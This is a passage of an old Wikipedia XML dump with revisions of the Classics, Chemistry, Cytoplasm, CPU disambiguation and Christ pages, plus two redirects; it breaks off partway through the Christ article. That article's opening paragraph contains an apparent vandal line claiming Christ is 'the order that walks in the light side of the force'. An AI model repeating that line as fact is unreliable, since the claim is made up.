[[fr:Communication]]
[[gl:Comunicación]]
[[ko:통신]]
[[id:Komunikasi]]
[[it:Comunicazione]]
[[he:תקשורת]]
[[lb:Kommunikatioun]]
[[li:Kommunikasie]]
[[mk:Комуникација]]
[[ms:Komunikasi]]
[[nl:Communicatie]]
[[ja:コミュニケーション]]
[[no:Kommunikasjon]]
[[nn:Kommunikasjon]]
[[pt:Comunicação]]
[[ru:Общение]]
[[simple:Communication]]
[[su:Komunikasi]]
[[tl:Komunikasyon]]
[[th:การสื่อสาร]]
[[tr:İletişim]]
[[uk:Комунікація]]
[[zh:通信]]</text>
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  <page>
    <title>Classics</title>
    <id>5178</id>
    <revision>
      <id>39923282</id>
      <timestamp>2006-02-16T21:23:47Z</timestamp>
      <contributor>
        <username>Petrouchka</username>
        <id>304347</id>
      </contributor>
      <minor />
      <comment>/* Western Classical Reference Library */ OCD 2nd ed -&gt; 3rd ed.</comment>
      <text xml:space="preserve">:''For other meanings, see [[Classics (disambiguation)]].''

'''''Classics''''', particularly within the [[Western world|Western]] University tradition, when used as a singular noun, means the study of the language, literature, history, art, and other aspects of [[ancient Greece|Greek]] and [[Rome|Roman]] culture during the time frame known as [[classical antiquity]]. As a plural noun '''&quot;classics&quot;''' can refer to texts written in the ancient Mediterranean world. The study of classics is a primary subject for the [[humanities]], and the people reading classics are sometimes called [[humanist]]s but are more often referred to as ''classicists''.

Symmetrically, in [[China]]'s cultural [[sphere of influence]], the [[Chinese_character|character]] &amp;#32147; (''jing'' in [[pinyin]]) refers to a set of texts written during [[Chinese antiquity]] and the study of the language, literature, history and philosophy of [[ancient China]], mostly through this corpus of [[Chinese classics|Chinese classical texts]], can be described as studying classics. Chinese men of letters sharing [[Confucian]] values can also be paralleled with Western humanists.

== Western Classics ==

The word is derived from the [[Latin]] [[adjective]] ''classicus'' which literally means &quot;belonging to the highest class of citizens&quot;, and has further connotations of superiority, authority and even perfection. The first recorded use of the word was by [[Aulus Gellius]], a Roman author of the [[second century]] who in his [[miscellany]] ''Noctes Atticae'' (19, 8, 15) refers to ''classicus scriptor, non proletarius''.  He was ranking writers according to the classification of the Roman taxation classes.

This method was started when the Greeks were constantly ranking their cultural work.  The word they used was ''[[wikt:canon|canon]]''; ancient Greek for a carpenter's rule.  Moreover, early [[Christianity|Christian]] Church Fathers used this term to classify authoritative texts of the [[New Testament]].  This rule further helped in the preservation of works since writing platforms of vellum and papyrus and methods of reproduction was not cheap.  The title of ''canon'' placed on a work meant that it would be more easily preserved for future generations.  In modern times, a [[Western canon]] was collated that defined the best of [[Western culture]]. 

At the Alexandrian Library, the ancient scholars coined another term for canonized authors, ''hoi enkrithentes''; &quot;the admitted&quot; or &quot;the included&quot;. 

Classical studies incorporate a certain type of methodology. The Rule of the classical world and of Christian culture and society was Philo's rule: 
:&quot;Philo's rule dominated Greek culture, from Homer to Neo-Platonism and the Christian Fathers of late antiquity. The rule is: &quot;&amp;mu;&amp;epsilon;&amp;tau;&amp;alpha;&amp;chi;&amp;alpha;&amp;rho;&amp;alpha;&amp;tau;&amp;tau;&amp;epsilon; &amp;tau;&amp;omicron; &amp;theta;&amp;epsilon;&amp;iota;&amp;omicron;&amp;nu; &amp;nu;&amp;omicron;&amp;mu;&amp;iota;&amp;sigma;&amp;mu;&amp;alpha;&quot; (&quot;metacharatte to theion nomisma&quot;). It is the law of strict continuity. We preserve and do not throw away words or ideas. Words and ideas may grow in meaning but must stay within the limits of the original meaning and concept that the word has.&quot; 

Classical education was considered the best training for implanting the life of moral excellence [[arete (excellence)|arete]], hence a good citizen.  It furnished students with intellectual and aesthetic appreciation for &quot;the best which has been thought and said in the world&quot;.  Copleston, an Oxford classicist said that classical education &quot;communicates to the mind...a high sense of honour, a disdain of death in a good cause, (and) a passionate devotion to the welfare of one's country&quot;.  [[Cicero]] commented, &quot;All literature, all philosophical treatises, all the voices of antiquity are full of examples for imitation, which would all lie unseen in darkness without the light of literature&quot;.

At [[University of Oxford|Oxford University]] Classics is known as ''[[Literae Humaniores]]'', comprising the study of Ancient Greek and Latin language and literature, Greek and Roman art and archaeology, history and philosophy. It is sometimes known as '''Greats''' after the nickname for the final examinations.

==Quotations==
*&quot;Nor can I do better, in conclusion, than impress upon you the study of Greek literature, which not only elevates above the vulgar herd but leads not infrequently to positions of considerable emolument.&quot;&lt;br /&gt;&amp;mdash;Thomas Gaisford, Christmas sermon, Christ Church, Oxford.

==See also==
{{Portal}}

*[[:Category:Classical scholars|Classical scholars]]
*[[Classics basic topics]]
*[[Literae Humaniores]]
*[[:Category:Ancient Greece|Ancient Greece]]
*[[:Category:Ancient Rome|Ancient Rome]]
*[[Philology]]
*[[Humanism]]
*[[Western culture]]
*[[Western World]]

==Bibliography==
*''The Oldest Dead White European Males, And Other Reflections on the Classics'', Bernard Knox, W. W. Norton &amp; Co., NY, London, l993.
*''Classical Pasts: The Classical Traditions of Greece and Rome'', James I. Porter, Princeton University Press, Princeton, NJ, 2005.
*&quot;Classicism in Literature&quot;, René Wellek, ''Dictionary of the History of Ideas, Studies of Selected Pivotal Ideas'', ed. by Philip P. Wiener, Charles Scribner's Sons, NY, l968, l973.

===Western Classical Reference Library===
*''Harper's Dictionary of Classical Literature and Antiquities'', ed. by Harry Thurston Peck, Cooper Square Publishers, Inc., 1st pub. 1896, 2nd ed. 1897, reprinted l962.  (1701 pages)
*''The New Century Classical Handbook'', ed. by Catherine B. Avery, Appleton-Century-Crofts, Inc., Ny, l962. (1162 pages)
*''The Oxford Classical Dictionary'', ed. by Simon Hornblower and Antony Spawforth, revised 3rd ed., Oxford at the Clarendon Press, 2003. (1640 pages) ISBN 0198606419
*''The Oxford Companion to Classical Literature'', ed. by M.C. Howatson, Oxford University Press, NY, l989. (615 pages)
*[[Loeb Classical Library]]

===Misc. Bibliography===
*Beard, Mary; Henderson, John. ''Classics: A very short introduction''. Oxford: Oxford University Press, 1995 (paperback, ISBN 0192853139); 2000 (new edition, paperback, ISBN 0192853856).
*Briggs, Ward&amp;nbsp;W.; Calder,&amp;nbsp;III, William&amp;nbsp;M. ''Classical scholarship: A biographical encyclopedia (Garland reference library of the humanities)''. London: Taylor&amp;nbsp;&amp; Francis, 1990 (ISBN 0824084489).
*Macrone, Michael. ''Brush Up Your Classics''. NY: Gramercy Books, l991. (Guide to famous words, phrases and stories of Greek classics.)
*''Dictionary of British classicists, 1500–1960'' by Richard&amp;nbsp;B. Todd (General editor). Bristol: Thoemmes Continuum, 2004 (ISBN 1855069970).

==Classical links==
{{Wikibookspar|Wikiversity|School of Classics}}
*[http://www.ancientlibrary.com/ The Ancient Library]
*[http://www.apaclassics.org/ American Philological Association]
*[http://www.annee-philologique.com/aph/ L'Année philologique]
*[http://www.fh-augsburg.de/~harsch/augusta.html Bibliotheca Augustana]
*[http://www.classics.cam.ac.uk/faculty/associationsw.html Classical associations worldwide] at the Faculty of Classics, University of Cambridge.
*[http://www.classics.cam.ac.uk/faculty/departments.html Classical departments worldwide] at the Faculty of Classics, University of Cambridge.
*[http://www.ut.ee/klassik/links/pages/ Classical Resources on Internet] at the Chair of Classical Philology, University of Tartu.
*[http://www.roman-emperors.org/ De Imperatoribus Romanis: An Online Encyclopedia of Roman Emperors]
*[http://www.tlg.uci.edu/index/resources.html Electronic Resources for Classicists] by the University of California, Irvine.
*[http://www.roman-empire.net/ Illustrated History of the Roman Empire]
*[http://www.nfhdata.de/premium/datenbasis-information/pages/International_News_Service_for_Historians/index.shtml International News Service for Historians] (is not dedicated to the Classics only, but very useful, especially for book reviews).
*[http://sunsite.berkeley.edu/OMACL/ The Online Medieval and Classical Library]
*[http://www.perseus.tufts.edu/ The Perseus Digital Library]
*[http://pomoerium.com/index.htm Pomoerium Classics]
*[http://www.tlg.uci.edu/ Thesaurus Linguae Graecae]
*[http://www.ancientlibrary.com/wcd/ Wiki Classical Dictionary]


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    <title>Critical Theory</title>
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  <page>
    <title>Chemistry</title>
    <id>5180</id>
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      <comment>/* Introduction */</comment>
      <text xml:space="preserve">&lt;div class=&quot;notice dablink&quot;&gt;''For other uses, see [[{{PAGENAME}} (disambiguation)]].''&lt;/div&gt;

{{portal}}
'''Chemistry''' (derived from the [[Arabic language|Arabic]] word ''kimia'', [[alchemy]], where ''al'' is Arabic for ''the'') is the [[science]] that deals with the [[Chemical property|properties]] of organic and inorganic [[chemical substance|substance]]s and their interactions with other [[organic compound|organic]] and [[inorganic]] substances. In the study of [[matter]], chemistry also investigates the movement of [[electron]]s (see [[energy]], [[physics]], [[biology]]). Because of the diversity of matter, which is mostly composed of different combinations of [[atom|atoms]], chemists often study how atoms of different [[chemical element]]s interact to form [[molecules]] and how molecules interact with each other.
[[Image:Chemistry.jpg|right|thumb|Multicolored chemicals are frequent hallmarks of chemistry ]]

==Introduction==
Chemistry is often called the central science because it connects other sciences together, such as [[physics]], [[biology]] or [[geology]]. Chemistry encompasses many specific specialized sub-disciplines that often overlap with significant portions of other sciences. Sub-disciplines, however, are very specific -- to chemistry, for example, they allow the manufacturing and testing of stronger materials, the synthesis of [[pharmaceuticals]] to treat disease, and determination of the mechanisms behind life processes.

A fundamental component of chemistry is that matter is involved. Chemistry may involve the interaction of matter with matter, or, involve matter with non-material phenomena such as energy. Most central and traditional to chemistry is the interaction of one [[chemical substance|substance]] with another such as in a  [[chemical reaction]] where one substance or substances is transformed into another. This may involve [[electromagnetic radiation]] (as in [[photochemistry]]) where a chemical reaction is driven by the stimulation of light. However the chemical reaction is only part of a larger field that also studies matter in other ways. Chemical spectroscopists for example study the interaction of light with matter often without any reaction occuring.

[[Scientists]] who profess chemistry are known as [[chemists]]. According to contemporary chemists all ordinary matter consists of [[atom|atoms]] or the sub atomic components that make up atoms. Atoms may be combined to produce more complex forms of matter such as [[ion|ions]], [[molecule]]s or [[crystal]]s. The structure of the world we commonly experience and the properties of the matter we commonly interact with is determined by properties of chemical substances and their interactions. [[Steel]] is hard because its atoms are bound together in a crystalline lattice. Wood burns because it can react spontaneously with [[oxygen]] in a chemical reaction above a certain [[temperature]]. [[Water]] is a [[liquid]] at room temperature because its molecules move about more than in a solid but less than in a gas.  One can see because of the interaction of light with molecules called [[proteins]] in the back of one's eye.

With such a large area of study, it is impossible to know everything about chemistry and very difficult to summarize the field concisely. Even the most knowledgeable, experienced chemist only knows a very narrow area of chemistry better than others, though most chemists have a general knowledge of many areas of chemistry. Chemistry is divided into many areas of study called sub-disciplines in which chemists specialize. The chemistry taught at the high school or early college level is often called &quot;general chemistry&quot; and is intended to be an introduction to a wide variety of fundamental concepts and to give the student the tools to continue on to more advanced subjects. Many concepts presented at this level are often incomplete and technically inaccurate, yet they are of extraordinary utility. Chemists regularly use these simple, elegant tools and explanations in their work because the best solution possible is often so overwhelmingly difficult and the true solution is usually unobtainable.

The science of chemistry is historically a recent development but has its roots in [[alchemy]] which has been practiced for millennia throughout the world. The word chemistry is directly derived from the word alchemy; however, the etymology of alchemy is unclear (see [[alchemy]]).

==History of chemistry==
''Main article'': [[History of chemistry]]

The roots of chemistry can be traced to the phenomenon of [[combustion|burning]]. [[Fire]] was a mystical force that transformed one substance into another and thus was of primary interest to mankind. It was fire that led to the discovery of [[iron]] and [[glass]]. After [[gold]] was discovered and became a precious metal, many people were interested to find a method that could convert other substances into gold. This led to the [[protoscience]] called [[Alchemy]]. Alchemists discovered many chemical [[processes]] that led to the development of modern chemistry. Chemistry as we know it today, was invented by [[Antoine Lavoisier]] with his law of [[Conservation of mass]] in 1783. The [[discoveries of the chemical elements]] has a long history culminating in the creation of the [[periodic table]] by [[Dmitri Mendeleev]]. The [[Nobel Prize in Chemistry]] created in 1901 gives an excellent overview of chemical discovery in the past 100 years.

==Chemical phenomena==
A chemical phenomenon is a phenomenon that is describable by chemistry and involves [[chemical substance|substances]] and [[energy]]. Chemical phenomena are associated with a change in the properties of the substance as a result of a chemical reaction.
[[Fire]] is undoubtedly the most spectacular chemical phenomenon. Chemists strive to explain all known chemical phenomena, to discover others and group chemical phenomena into classes with common causes or effects. For example, substances that react with oxygen to produce other substances are said to undergo oxidation; similarly a group of substances called [[acid]]s or [[alkali]]s can react with one another to neutralize each other's  effect, a phenomenon known as [[neutralization]]. [[chemical substance|Substances]] can also be [[chemical decomposition|dissociated]] or synthesized from other substances by various different chemical [[processes]]. A chemical reaction is often accompanied by evolution or absorption of energy, this phenomenon is studied under a subdiscipline of chemistry called [[chemical thermodynamics]]/ [[thermochemistry]]. Similarly certain substances emit light without being heated, a phenomenon known as [[phosphorescence]].

==Subdisciplines of chemistry==
Chemistry typically is divided into several major sub-disciplines. There are also several main cross-disciplinary and more specialized fields of chemistry.

*[[Analytical chemistry]] is the [[analysis]] of material samples to gain an understanding of their [[chemical composition]] and [[structure]]. Analytical chemistry incorporates standardized experimental methods in chemistry. These methods may be used in all subdiciplines of chemistry, excluding purely theoretical chemistry.

*[[Biochemistry]] is the study of the [[chemical compound|chemicals]], [[chemical reaction]]s and chemical [[interaction]]s that take place in living [[organism]]s. Biochemistry and organic chemistry are closely related f.e. in [[medicinal chemistry]]. 

*[[Inorganic chemistry]] is the study of the properties and reactions of inorganic compounds. The distinction between organic and inorganic disciplines is not absolute and there is much overlap, most importantly in the sub-discipline of [[organometallic chemistry]].

*[[Organic chemistry]] is the study of the structure, properties, composition, mechanisms, and [[chemical reaction|reactions]] of [[organic compound]]s. 

*[[Physical chemistry]] is the study of the physical basis of chemical systems and processes.  In particular, the energetics and dynamics of such systems and processes are of interest to physical chemists.  Important areas of study include [[chemical thermodynamics]], [[chemical kinetics]], [[electrochemistry]], [[statistical mechanics]], and [[spectroscopy]].  Physical chemistry has large overlap with [[molecular physics]]. Physical chemistry involves the use of [[calculus]] in deriving equations.

*[[Theoretical chemistry]] is the study of chemistry via theoretical reasoning (usually within [[mathematics]] or [[physics]]).  In particular the application of [[quantum mechanics]] to chemistry is called [[quantum chemistry]].  Since the end of the second world war, the development of computers has allowed a systematic development of [[computational chemistry]], which is the art of developing and applying [[computer program]]s for solving chemical problems.  Theoretical chemistry has large overlap with [[molecular physics]].
  
Other fields are [[Astrochemistry]], [[Atmospheric chemistry]], [[Chemical Engineering]], [[Chemo-informatics]], [[Electrochemistry]], [[Environmental chemistry]], [[Geochemistry]], [[Green chemistry]], [[History of chemistry]], [[Materials science]], [[Medicinal chemistry]], [[Molecular Biology]], [[Molecular genetics]], [[Nanotechnology]],[[Nuclear chemistry]], [[Organometallic chemistry]], [[Petrochemistry]], [[Pharmacology]], [[Photochemistry]], [[Phytochemistry]], [[Polymer chemistry]], [[Supramolecular chemistry]], [[Surface chemistry]], and [[Thermochemistry]].

==Fundamental concepts==
'''Nomenclature'''

''Main article: [[IUPAC nomenclature]]''

Nomenclature refers to the system for naming [[chemical compound]]s. There are well-defined systems in place for naming chemical species. [[Organic compound]]s are named according to the [[organic nomenclature]] system. [[Inorganic compound]]s are named according to the [[inorganic nomenclature]] system. 

'''Atoms'''

''Main article: [[Atom]]''

An ''atom'' is a collection of matter consisting of a positively charged core (the [[atomic nucleus]]) which contains [[protons]] and [[neutrons]], and which maintains a number of [[electron]]s to balance the positive charge in the nucleus.

'''Elements'''

''Main article: [[Chemical element]]''

An ''element'' is a class of atoms which have the same number of [[proton]]s in the [[atomic nucleus|nucleus]]. This number is known as the [[atomic number]] of the element. For example, all atoms with 6 protons in their nuclei are atoms of the chemical element [[carbon]], and all atoms with 92 protons in their nuclei are atoms of the element [[uranium]].

The most convenient presentation of the elements is in the [[periodic table]], which groups elements with similar chemical properties together. Lists of the elements [[List of elements by name|by name]], [[List of elements by symbol|by symbol]], and by [[List of elements by number|atomic number]] are also available. In addition elements have many [[isotope]]s.

'''Compounds'''

''Main article: [[Chemical compound]]''

A ''compound'' is a substance with a ''fixed ratio'' of [[chemical element]]s which determines the composition, and a particular organization which determines chemical properties. For example, [[water (molecule)|water]] is a compound containing [[hydrogen]] and [[oxygen]] in the ratio of two to one, with the Oxygen between the hydrogens, and an angle of 104.5° between them. Compounds are formed and interconverted by [[chemical reaction]]s.

'''Molecules'''

''Main article: [[Molecule]]''

A ''molecule'' is the smallest indivisible portion of a pure [[Chemical compound|compound]] or [[chemical element|element]] that retains a set of unique chemical properties.  A molecule consists of two or more [[atom]]s covalently [[Chemical bond|bonded]] together.

'''Ions'''

''Main article: [[Ion (physics)|Ion]]''

An ''ion'' is a charged species, or an atom or a molecule that has lost or gained an electron. Positively charged [[cations]] (e.g. [[sodium]] cation Na&lt;sup&gt;+&lt;/sup&gt;) and negatively charged [[anions]] (e.g. [[chloride]] Cl&lt;sup&gt;-&lt;/sup&gt;) can form neutral [[Salt|salts]] (e.g. [[sodium chloride]] NaCl). Examples of [[polyatomic ion]]s that do not split up during [[Acid-base reaction theories|acid-base reactions]] are [[hydroxide]] (OH&lt;sup&gt;-&lt;/sup&gt;), or [[phosphate]] (PO&lt;sub&gt;4&lt;/sub&gt;&lt;sup&gt;3-&lt;/sup&gt;).

'''Substance'''

''Main article: [[Chemical substance]]''

A chemical substance can be an element, compound or a mixture of compounds, elements or compounds and elements. Most of the matter we encounter in our daily life are one or another kind of mixtures, e.g. [[Earth's atmosphere|air]], [[alloy]]s, [[biomass]] etc.

'''Bonding'''

''Main article: [[Chemical bond]]''

A ''chemical bond'' is an [[interaction]] which holds together [[atom]]s in [[molecule]]s or [[crystal]]s. In many simple compounds, [[valence bond theory]] and the concept of [[oxidation number]] can be used to predict molecular structure and composition. Similarly, theories from [[classical physics]] can be used to predict many ionic structures. With more complicated compounds, such as [[complex (chemistry) | metal complexes]], valence bond theory fails and alternative approaches which are based on [[quantum chemistry]], such as [[molecular orbital]] theory, are necessary.

'''States of matter'''

''Main article: [[Phase (matter)]]''

A ''phase'' is a [[set]] of states of a chemical system that have similar bulk structural properties, over a range of conditions, such as [[pressure]] or [[temperature]].  Physical properties, such as [[density]] and [[refractive index]] tend to fall within values characteristic of the phase.  The phase of matter is defined by the ''[[phase transition]]'', which is when energy put into or taken out of the system goes into rearranging the structure of the system, instead of changing the bulk conditions.

Sometimes the distinction between phases can be continuous instead of having a discrete boundary, in this case the matter is considered to be in a [[Supercritical fluid|supercritical]] state.  When three states meet based on the conditions, it is known as a [[triple point]] and since this is invariant, it is a convenient way to define a set of conditions.

The most familiar examples of phases are [[solid]]s, [[liquid]]s, and [[gas]]es. Less familiar phases include [[Plasma physics|plasma]]s, [[Bose-Einstein condensate]]s and [[fermionic condensate]]s and the [[paramagnetism|paramagnetic]] and [[ferromagnetism|ferromagnetic]] phases of [[magnet]]ic materials.  Even the familiar [[ice]] has many different phases, depending on the pressure and temperature of the system.  While most familiar phases deal with three-dimensional systems, it is also possible to define analogs in two-dimensional systems, which is getting a lot of attention because of its relevance to [[biology]].

'''Chemical reactions'''

''Main article: [[Chemical reaction]]''

''Chemical reactions'' are transformations in the fine [[structure]] of [[molecule]]s.  Such reactions can result in molecules attaching to each other to form larger molecules, molecules breaking apart to form two or more smaller molecules, or rearrangement of [[atom]]s within or across molecules. Chemical reactions usually involve the making or breaking of [[chemical bond]]s.

'''Quantum chemistry'''

''Main article: [[Quantum chemistry]]''

''Quantum chemistry'' describes the behavior of [[matter]] at the [[molecule | molecular]] scale. It is, in principle, possible to describe all chemical systems using this theory. In practice, only the simplest chemical systems may realistically be investigated in purely [[quantum mechanics | quantum mechanical]] terms, and approximations must be made for most practical purposes (e.g., [[Hartree-Fock]], [[post Hartree-Fock]] or [[Density functional theory]], see [[computational chemistry]] for more details). Hence a detailed understanding of [[quantum mechanics]] is not necessary for most chemistry, as the important implications of the theory (principally the [[atomic orbital|orbital approximation]]) can be understood and applied in simpler terms.

'''Chemical Laws'''

''Main article:'' [[Chemical law]]

The most fundamental concept in chemistry is the [[law of conservation of mass]], which states that there is no detectable change in the quantity of matter during an ordinary [[chemical reaction]]. Modern physics shows that it is actually [[energy]] that is conserved, and that energy and mass are [[Einstein#Energy equivalency|related]]; a concept which becomes important in [[nuclear chemistry]]. [[Conservation of energy]] leads to the important concepts of [[Chemical equilibrium|equilibrium]], [[thermodynamics]], and [[chemical kinetics|kinetics]].

Further laws of chemistry elaborate on the law of conservation of mass.  [[Joseph Proust]]'s [[law of definite composition]] says that pure chemicals are composed of elements in a definite formulation; we now know that the structural arrangement of these elements is also important.

[[John_Dalton|Dalton]]'s [[law of multiple proportions]] says that these chemicals will present themselves in proportions that are small whole numbers (i.e. 1:2 O:H in water); although in many systems (notably biomacromolecules and minerals) the ratios tend to require large numbers, and are frequently represented as a fraction. Such compounds are known as [[non-stoichiometric compound]]s

==Etymology==
''Main article'': [[Alchemy#Etymology|Etymology of chemistry]] 

The [[Etymology]] of the word chemistry comes directly from the Greek word ''χημεια'', and can be also met in the old French ''alkemie;'' or the Arabic ''al-kimia:'' ''the art of transformation.''

==See also==
*  [[List of chemists]]
* [[List of chemistry topics]]
* [[List of compounds]]
* [[List of publications in chemistry|List of important publications in chemistry]]
* [[Chemistry resources]]
* [[Unsolved problems in chemistry]]

==External links==
{{wikibooks}}
{{wikibookspar|Wikiversity|School of Chemistry}}
* [http://wikid.chem.yale.edu/ Wikidchem, The Free Chemistry Archive]
* [http://www.allchemicals.info/ Chemical Glossary]
* [http://chem.sis.nlm.nih.gov/chemidplus/ Chemistry Information Database]
* [http://www.chemicalforums.com/ Chemistry Forum]
* [http://www.chem.qmw.ac.uk/iupac/ IUPAC Nomenclature Home Page], see especially the &quot;Gold Book&quot; containing definitions of standard chemical terms
* [http://www.cci.ethz.ch/index.html Experiments] videos and photos of the techniques and results
* [http://physchem.ox.ac.uk/MSDS/ Material safety data sheets for a variety of chemicals]
* [http://www.flinnsci.com/search_MSDS.asp Material Safety Data Sheets]

==Further reading==
* Chang, Raymond. ''Chemistry'' 6th ed. Boston: James M. Smith, 1998. ISBN 0071152210.

{{BranchesofChemistry}}
{{Natural sciences-footer}}

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[[als:Chemie]]
[[an:Quimica]]
[[ar:كيمياء]]
[[ast:Química]]
[[bg:Химия]]
[[bn:রসায়ন]]
[[br:Kimiezh]]
[[bs:Hemija]]
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[[co:Chimica]]
[[cs:Chemie]]
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[[fo:Evnafrøði]]
[[fr:Chimie]]
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[[fy:Skiekunde]]
[[ga:Ceimic]]
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[[gl:Química]]
[[he:כימיה]]
[[hi:रसायन शास्त्र]]
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[[ja:化学]]
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[[ko:화학]]
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[[nl:Scheikunde]]
[[nn:Kjemi]]
[[no:Kjemi]]
[[oc:Quimia]]
[[os:Хими]]
[[pa:ਰਸਾਇਣ ਵਿਗਿਆਨ]]
[[pl:Chemia]]
[[pt:Química]]
[[ro:Chimie]]
[[ru:Химия]]
[[sco:Chemistry]]
[[simple:Chemistry]]
[[sk:Chémia]]
[[sl:Kemija]]
[[sq:Kimia]]
[[sr:Хемија]]
[[su:Kimia]]
[[sv:Kemi]]
[[te:రసాయన శాస్త్రము]]
[[th:เคมี]]
[[tl:Kimika]]
[[tr:Kimya]]
[[tt:Ximiä]]
[[uk:Хімія]]
[[vi:Hóa học]]
[[vo:Kiemav]]
[[zh:化学]]</text>
    </revision>
  </page>
  <page>
    <title>Continents</title>
    <id>5181</id>
    <revision>
      <id>15903409</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Continent]]
</text>
    </revision>
  </page>
  <page>
    <title>ConstitutioN</title>
    <id>5182</id>
    <revision>
      <id>15903410</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Constitution]]
</text>
    </revision>
  </page>
  <page>
    <title>CPU (disambiguation)</title>
    <id>5183</id>
    <revision>
      <id>41415814</id>
      <timestamp>2006-02-27T04:18:53Z</timestamp>
      <contributor>
        <username>Uberpenguin</username>
        <id>103347</id>
      </contributor>
      <text xml:space="preserve">'''CPU''' is a [[TLA]], a type of [[initialism]].  It can stand for:
* in [[computing]]: '''[[central processing unit]]'''
* in [[journalism]]: [[Commonwealth Press Union]]
* in [[law enforcement]]: [[crime | Crime prevention unit]]
* in [[Computer software|software]]: Critical patch update, a type of [[Patch (computing) | software patch]] distributed by [[Oracle Corporation]]
* in the [[mail|postal system]]: a [[United_States_Postal_Service|Contract Postal Unit]], esp. used as &quot;CPU Box&quot; (as opposed to &quot;PO Box&quot;)

{{TLAdisambig}}</text>
    </revision>
  </page>
  <page>
    <title>Cytoplasm</title>
    <id>5184</id>
    <revision>
      <id>42009432</id>
      <timestamp>2006-03-03T04:50:21Z</timestamp>
      <contributor>
        <username>Joshbuddy</username>
        <id>431094</id>
      </contributor>
      <comment>Revert to revision 41672242 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">'''Cytoplasm''' is a homogeneous, generally clear jelly-like material that fills [[Cell (biology)|cell]]s. The cytoplasm consists of [[cytosol]] and the cellular [[organelles]], except the [[cell nucleus]]. The cytosol is made up of water, salts, organic molecules and many [[enzymes]] that catalyze reactions.  The cytoplasm plays an important role in a cell, serving as a &quot;molecular soup&quot; in which the organelles are suspended and held together by a fatty membrane. It is found within the plasma membrane of a cell and surrounds the nuclear envelope and the cytoplasmic organelles.


==Components of the cytoplasm==
The [[aqueous]] component of the cytoplasm (making up 80 percent of it) is composed of [[ion]]s and soluble [[macromolecule]]s like [[enzyme]]s, [[carbohydrate]]s, different [[salt]]s and [[protein]]s, as well as a great proportion of [[RNA]]. The cytoplasm's watery component is also known as [[hyaloplasm]]. 

The watery component can be more or less [[gel]]-like or liquid depending on the milieu's conditions and the activity phases of the cell. In the first case, it is named [[cytogel]] and is a viscid solid mass. In the second case, called [[cytosol]], is a liquid in movement. In general, margin regions of the cell are gel-like, and the cell's interior is liquid.

The insoluble constituents of the cytoplasm are [[organelle]]s (such as the [[mitochondria]], the [[chloroplast]], [[lysosome]]s, [[peroxysome]]s, [[ribosome]]s), several [[vacuole]]s, [[cytoskeleton]]s, as well as complex [[membrane]] structures (e.g., [[endoplasmic reticulum]]s and the [[Golgi apparatus]]).

&lt;!-- Image with unknown copyright status removed: [[Image:Cytoplasm.jpg]] --&gt;

==Differences between animal and plant cytoplasm==
While all cells possess a cytoplasm, cells from different [[Domain (biology)|biological domains]] can differ widely in the characteristics of their cytoplasms. In the animal [[kingdom (biology)|kingdom]], cytoplasm occupies nearly half the cell's volume, while in plant cells, the cytoplasm occupies much less space because of the presences of [[vacuoles]].

==Function==
The cytoplasm plays a mechanical role, that is, to maintain the shape and consistency of the cell, and to provide suspension to the organelles.
It is also a storage place for chemical substances indispensable to life, which are involved in vital [[metabolism|metabolic]] reactions, such as [[anaerobic glycolysis]] and [[protein]] [[synthesis]].


[[Category: Cell biology]]

[[cs:Cytoplazma]]
[[da:Cytoplasma]]
[[de:Cytoplasma]]
[[et:Tsütoplasma]]
[[es:Citoplasma]]
[[eo:Citoplasmo]]
[[fr:Cytoplasme]]
[[ko:세포질]]
[[id:Sitoplasma]]
[[it:Citoplasma]]
[[he:ציטופלסמה]]
[[lt:Citoplazma]]
[[lb:Zytoplasma]]
[[mk:Цитоплазма]]
[[ms:Sitoplasma]]
[[nl:Cytoplasma]]
[[ja:細胞質]]
[[no:Cytoplasma]]
[[pl:Cytoplazma]]
[[pt:Citoplasma]]
[[ru:Цитоплазма]]
[[sk:Cytoplazma]]
[[sl:Citoplazma]]
[[sr:Цитоплазма]]
[[fi:Solulima]]
[[sv:Cytoplasma]]
[[vi:Tế bào chất]]
[[tr:Sitoplazma]]</text>
    </revision>
  </page>
  <page>
    <title>Christ</title>
    <id>5185</id>
    <revision>
      <id>41891278</id>
      <timestamp>2006-03-02T11:56:14Z</timestamp>
      <contributor>
        <username>Orioane</username>
        <id>362844</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Southkarre|Southkarre]] ([[User talk:Southkarre|talk]]) to last version by Dbiv</comment>
      <text xml:space="preserve">{{Christianity}}
''&lt;blockquote&gt;This page is about the title. For the Christian figure, see [[Jesus]]&lt;/blockquote&gt;''
'''Christ''' is the [[English language|English]] representation of the [[Greek (language)|Greek]] word ''Χριστός'' The [[Christianity|Christian]] [[religion]] takes its name from Christ, as a title given to [[Jesus|Jesus of Nazareth]], always capitalized as a singularly descriptive title meaning literally ''The Anointed One''.  In English translations of the [[New Testament]], the Greek ''Ιησούς Χριστός'', and related phrases, are almost invariably translated ''Jesus Christ'' or ''Christ Jesus'', leading to the common, though inaccurate, perception that 'Christ' was the last name of Jesus of Nazareth. The part of Christian [[theology]] focusing on the identity, life, teachings and works of Jesus, is known as '''[[Christology]]'''. Also known as the order that walks in the light side of the force.

== Full etymology ==
The spelling ''Christ'' in English dates from the 17th century, when, in the spirit of [[the enlightenment]], spellings of certain words were changed to fit their [[Greek language|Greek]] or [[Latin]] origins. Prior to this, in [[Old English language|Old]] and [[Middle English]], the word was spelt ''Crist'', the ''i'' being pronounced either as a [[long vowel|long]] [[e]], preserved in the names of [[church]]es such as [[St Katherine Cree]], or as a short i, preserved in the modern pronunciation of [[Christmas]].

The term appears in English and most European languages owing to the Greek usage of it in the [[New Testament]] as a description for [[Jesus]]. In the [[Septuagint]] version of the [[Old Testament]], it was used to translate into Greek the [[Hebrew (language)|Hebrew]] ''Mashiach'' ([[Messiah]]), meaning &quot;anointed&quot;. While many Christian writers claim that this term implied a match to the criteria of being anointed that Jewish tradition had given to their predicted future saviour, in fact, there is no &quot;saviour&quot; concept, as suggested in Christianity, in the Jewish tradition. The &quot;anointed&quot; one more closely means 'leader', or even 'ruler'.

